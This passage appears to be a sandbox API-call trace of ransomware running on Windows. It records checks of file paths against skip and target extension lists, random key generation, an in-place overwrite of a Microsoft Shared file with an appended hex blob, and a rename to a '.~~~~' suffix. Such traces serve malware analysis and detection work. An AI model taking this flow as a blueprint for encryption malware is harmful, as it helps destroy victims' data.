	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".accdb") returned 0x0
	[0077.796] lstrlenW (lpString=".DBX") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DBX") returned 0x0
	[0077.796] lstrlenW (lpString=".MDT") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".MDT") returned 0x0
	[0077.796] lstrlenW (lpString=".SQB") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".SQB") returned 0x0
	[0077.797] lstrlenW (lpString=".vhd") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".vhd") returned 0x0
	[0077.797] lstrlenW (lpString=".bac") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".bac") returned 0x0
	[0077.797] lstrlenW (lpString=".mdf") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".mdf") returned 0x0
	[0077.797] lstrlenW (lpString=".BAK") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".BAK") returned 0x0
	[0077.797] lstrlenW (lpString=".BAC") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".BAC") returned 0x0
	[0077.797] lstrlenW (lpString=".dbs") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dbs") returned 0x0
	[0077.797] lstrlenW (lpString=".vhdx") returned 5
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".vhdx") returned 0x0
	[0077.797] lstrlenW (lpString=".NDF") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".NDF") returned 0x0
	[0077.797] lstrlenW (lpString=".dat") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dat") returned 0x0
	[0077.797] lstrlenW (lpString=".DBS") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DBS") returned 0x0
	[0077.797] lstrlenW (lpString=".CKP") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".CKP") returned 0x0
	[0077.797] lstrlenW (lpString=".edb") returned 4
	[0077.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".edb") returned 0x0
	[0077.797] lstrlenW (lpString=".PST") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".PST") returned 0x0
	[0077.798] lstrlenW (lpString=".dbf") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dbf") returned 0x0
	[0077.798] lstrlenW (lpString=".SQL") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".SQL") returned 0x0
	[0077.798] lstrlenW (lpString=".pst") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".pst") returned 0x0
	[0077.798] lstrlenW (lpString=".dbv") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dbv") returned 0x0
	[0077.798] lstrlenW (lpString=".SDF") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".SDF") returned 0x0
	[0077.798] lstrlenW (lpString=".dtxs") returned 5
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dtxs") returned 0x0
	[0077.798] lstrlenW (lpString=".db3") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".db3") returned 0x0
	[0077.798] lstrlenW (lpString=".OST") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".OST") returned 0x0
	[0077.798] lstrlenW (lpString=".dbx") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dbx") returned 0x0
	[0077.798] lstrlenW (lpString=".DB3") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DB3") returned 0x0
	[0077.798] lstrlenW (lpString=".DAT") returned 4
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DAT") returned 0x0
	[0077.798] lstrlenW (lpString=".VHDX") returned 5
	[0077.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".VHDX") returned 0x0
	[0077.799] lstrlenW (lpString=".ndf") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".ndf") returned 0x0
	[0077.799] lstrlenW (lpString=".DB") returned 3
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DB") returned 0x0
	[0077.799] lstrlenW (lpString=".sql") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".sql") returned 0x0
	[0077.799] lstrlenW (lpString=".MYD") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".MYD") returned 0x0
	[0077.799] lstrlenW (lpString=".DBT") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DBT") returned 0x0
	[0077.799] lstrlenW (lpString=".ACCDB") returned 6
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".ACCDB") returned 0x0
	[0077.799] lstrlenW (lpString=".fdb") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".fdb") returned 0x0
	[0077.799] lstrlenW (lpString=".bak") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".bak") returned 0x0
	[0077.799] lstrlenW (lpString=".myd") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".myd") returned 0x0
	[0077.799] lstrlenW (lpString=".DTXS") returned 5
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DTXS") returned 0x0
	[0077.799] lstrlenW (lpString=".ckp") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".ckp") returned 0x0
	[0077.799] lstrlenW (lpString=".dbt") returned 4
	[0077.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dbt") returned 0x0
	[0077.800] lstrlenW (lpString=".db") returned 3
	[0077.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".db") returned 0x0
	[0077.800] lstrlenW (lpString=".TXT") returned 4
	[0077.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".TXT") returned 0x0
	[0077.800] lstrlenW (lpString=".MDF") returned 4
	[0077.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".MDF") returned 0x0
	[0077.800] lstrlenW (lpString=".bdb") returned 4
	[0077.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".bdb") returned 0x0
	[0077.800] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.800] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.801] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.801] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.802] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19779166788) returned 1
	[0077.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9844ecf0, dwHighDateTime=0x1d60e1e)) 
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca08
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7f70
	[0077.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.802] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.803] GetLastError () returned 0x0
	[0077.803] GetLastError () returned 0x0
	[0077.803] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.803] GetLastError () returned 0x0
	[0077.803] GetLastError () returned 0x0
	[0077.803] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x1a9b, lpOverlapped=0x0) returned 1
	[0077.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe565, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.833] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x1a9b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x1a9b, lpOverlapped=0x0) returned 1
	[0077.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.834] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.834] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.834] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.834] CloseHandle (hObject=0x130) returned 1
	[0077.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.840] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.~~~~")) returned 1
	[0077.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.841] GetLastError () returned 0x0
	[0077.841] RtlWakeConditionVariable () returned 0x365f70
	[0077.841] GetCurrentThreadId () returned 0x3a4
	[0077.841] GetCurrentThreadId () returned 0x3a4
	[0077.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8300 | out: hHeap=0x300000) returned 1
	[0077.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0077.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8300
	[0077.841] lstrlenW (lpString=".scr") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".scr") returned 0x0
	[0077.841] lstrlenW (lpString=".cmd") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".cmd") returned 0x0
	[0077.841] lstrlenW (lpString=".dll") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dll") returned 0x0
	[0077.841] lstrlenW (lpString=".bat") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".bat") returned 0x0
	[0077.841] lstrlenW (lpString=".cpl") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".cpl") returned 0x0
	[0077.841] lstrlenW (lpString=".sys") returned 4
	[0077.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".sys") returned 0x0
	[0077.841] lstrlenW (lpString=".msc") returned 4
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".msc") returned 0x0
	[0077.842] lstrlenW (lpString=".com") returned 4
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".com") returned 0x0
	[0077.842] lstrlenW (lpString=".lnk") returned 4
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".lnk") returned 0x0
	[0077.842] lstrlenW (lpString=".msp") returned 4
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".msp") returned 0x0
	[0077.842] lstrlenW (lpString=".pif") returned 4
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".pif") returned 0x0
	[0077.842] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.843] lstrlenW (lpString=".sqb") returned 4
	[0077.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".sqb") returned 0x0
	[0077.843] lstrlenW (lpString=".ost") returned 4
	[0077.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".ost") returned 0x0
	[0077.843] lstrlenW (lpString=".txt") returned 4
	[0077.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".txt") returned 0x0
	[0077.843] lstrlenW (lpString=".mdt") returned 4
	[0077.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".mdt") returned 0x0
	[0077.843] lstrlenW (lpString=".BDB") returned 4
	[0077.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".BDB") returned 0x0
	[0077.843] lstrlenW (lpString=".eql") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".eql") returned 0x0
	[0077.844] lstrlenW (lpString=".DBF") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DBF") returned 0x0
	[0077.844] lstrlenW (lpString=".EQL") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".EQL") returned 0x0
	[0077.844] lstrlenW (lpString=".FDB") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".FDB") returned 0x0
	[0077.844] lstrlenW (lpString=".EDB") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".EDB") returned 0x0
	[0077.844] lstrlenW (lpString=".DACPAC") returned 7
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DACPAC") returned 0x0
	[0077.844] lstrlenW (lpString=".VHD") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".VHD") returned 0x0
	[0077.844] lstrlenW (lpString=".DBV") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DBV") returned 0x0
	[0077.844] lstrlenW (lpString=".dacpac") returned 7
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dacpac") returned 0x0
	[0077.844] lstrlenW (lpString=".sdf") returned 4
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".sdf") returned 0x0
	[0077.844] lstrlenW (lpString=".accdb") returned 6
	[0077.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".accdb") returned 0x0
	[0077.844] lstrlenW (lpString=".DBX") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DBX") returned 0x0
	[0077.845] lstrlenW (lpString=".MDT") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".MDT") returned 0x0
	[0077.845] lstrlenW (lpString=".SQB") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".SQB") returned 0x0
	[0077.845] lstrlenW (lpString=".vhd") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".vhd") returned 0x0
	[0077.845] lstrlenW (lpString=".bac") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".bac") returned 0x0
	[0077.845] lstrlenW (lpString=".mdf") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".mdf") returned 0x0
	[0077.845] lstrlenW (lpString=".BAK") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".BAK") returned 0x0
	[0077.845] lstrlenW (lpString=".BAC") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".BAC") returned 0x0
	[0077.845] lstrlenW (lpString=".dbs") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dbs") returned 0x0
	[0077.845] lstrlenW (lpString=".vhdx") returned 5
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".vhdx") returned 0x0
	[0077.845] lstrlenW (lpString=".NDF") returned 4
	[0077.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".NDF") returned 0x0
	[0077.845] lstrlenW (lpString=".dat") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dat") returned 0x0
	[0077.846] lstrlenW (lpString=".DBS") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DBS") returned 0x0
	[0077.846] lstrlenW (lpString=".CKP") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".CKP") returned 0x0
	[0077.846] lstrlenW (lpString=".edb") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".edb") returned 0x0
	[0077.846] lstrlenW (lpString=".PST") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".PST") returned 0x0
	[0077.846] lstrlenW (lpString=".dbf") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dbf") returned 0x0
	[0077.846] lstrlenW (lpString=".SQL") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".SQL") returned 0x0
	[0077.846] lstrlenW (lpString=".pst") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".pst") returned 0x0
